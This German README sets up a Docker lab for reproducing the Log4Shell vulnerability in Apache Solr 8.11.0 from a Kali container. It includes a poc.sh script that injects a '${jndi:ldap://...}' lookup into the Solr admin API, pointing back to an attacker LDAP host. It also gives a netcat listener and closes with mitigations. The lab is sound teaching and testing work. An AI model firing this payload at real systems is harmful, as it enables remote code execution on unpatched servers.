
Log4j-Schwachstellen-Homelab
Kontrollierte Docker-Umgebung zur Reproduktion und Untersuchung der Log4Shell-Schwachstelle im Apache Solr.
solr-lab): Apache Solr v8.11.0 (vulhub/solr:8.11.0) mit einer anfälligen Log4j-Version.kali-lab): Einfacher Kali Linux Container mit vorinstallierten nmap, curl und netcat.Starten Sie die Umgebung im Hintergrund mit:
docker compose up -d --build
docker compose exec -it kali-lab /bin/bash
Innerhalb des Kali-Containers finden Sie Ihr eigenes Subnetz und die IP des Apache Solr:
# 1. Sehen Sie Ihre IP und Netzmaske
hostname -I
# 2. Scannen Sie das interne Netzwerk, um die IP des Ziels zu finden (Solr-Port: 8983)
# (Ersetzen Sie das Subnetz unten entsprechend der IP, die Sie im vorherigen Befehl erhalten haben)
nmap -p 8983 172.20.0.0/24
Das Skript poc.sh injiziert das JNDI-Lookup-Payload in den Parameter der Solr-Administrations-API.
poc.sh)#!/usr/bin/env bash
if [ "$#" -lt 2 ]; then
echo "Nutzung: $0 <lhost> <rhost> [lport]"
echo "Beispiel: $0 172.20.0.3 172.20.0.2 1389"
exit 1
fi
KALI="$1"
TARGET="$2"
PORT_KALI="${3:-1389}"
echo "[*] Ziel: $TARGET"
echo "[*] Angreifer (LDAP): $KALI auf Port $PORT_KALI"
echo "[*] Exploit auslösen..."
curl -g -v "http://${TARGET}:8983/solr/admin/cores?foo=\${jndi:ldap://${KALI}:${PORT_KALI}/x}"
Noch im Kali, geben Sie dem Skript Ausführungsrechte und führen Sie es mit den korrekten IPs aus:
chmod +x poc.sh
./poc.sh <IP_DO_KALI> <IP_DO_SOLR> 1389
Was passiert hier? Der Solr wird die Anfrage verarbeiten und versuchen, eine LDAP-Verbindung zurück zur Kali-IP auf dem angegebenen Port zu öffnen. Sie können diesen Verbindungsversuch überwachen, indem Sie vor dem Ausführen des Skripts einen schnellen Listener im Kali öffnen (z.B.
nc -lnvp 1389).
Um den Fehler in Log4j 2 zu beheben:
2.15.0 oder 2.17.1).-Dlog4j2.formatMsgNoLookups=true beim Java-Start.zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class